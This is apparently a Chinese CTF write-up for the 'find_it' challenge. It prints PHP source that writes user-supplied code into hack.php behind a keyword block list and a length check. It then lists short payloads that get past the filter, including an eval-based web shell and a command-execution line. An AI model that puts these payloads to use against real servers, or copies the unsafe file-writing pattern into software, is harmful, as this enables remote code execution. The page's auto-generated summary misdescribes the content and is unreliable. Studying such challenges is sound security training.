红帽杯find_it

最新推荐文章于 2022-11-15 11:29:50 发布

b1ue0cean

最新推荐文章于 2022-11-15 11:29:50 发布

阅读量260

点赞数

分类专栏： CTF 文章标签：安全

本文链接：https://blog.csdn.net/qq_53755216/article/details/116804160

版权

CTF 专栏收录该内容

59 篇文章 7 订阅

订阅专栏

本文探讨了PHP基础语法和一个常见的安全问题——代码注入，展示了如何利用<?php ... ?>和文件操作，同时强调了防止恶意输入的重要性。通过实例，读者将理解如何避免mysql_connect漏洞并使用正则表达式检查用户输入。

摘要由CSDN通过智能技术生成

随便坐一坐

<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
        <title>Hello worldd!</title>
        <style>
        body {
                background-color: white;
                text-align: center;
                padding: 50px;
                font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
        }

        #logo {
                margin-bottom: 40px;
        }
        </style>
</head>
<body>
        <img id="logo" src="logo.png" />
        <h1><?php echo "Hello My freind!"; ?></h1>
        <?php if($link) { ?>
                <h2>I Can't view my php files?!</h2>
        <?php } else { ?>
                <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
        <?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
        die("you die");
}
if(strlen($a)>33){
        die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

fopen() 函数打开文件或者 URL
fwrite — 写入文件（可安全用于二进制文件）
fread ( resource $handle , int $length ) : string 最多读length个

三种方法随便挑感觉还是第一个最简单

$a = "<?= passthru('ls'); ?>";
$a = "<?= EVAL($_POST[cmd]); ?>"
$a = "<?= show_source(glob('./*')); ?>

b1ue0cean

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录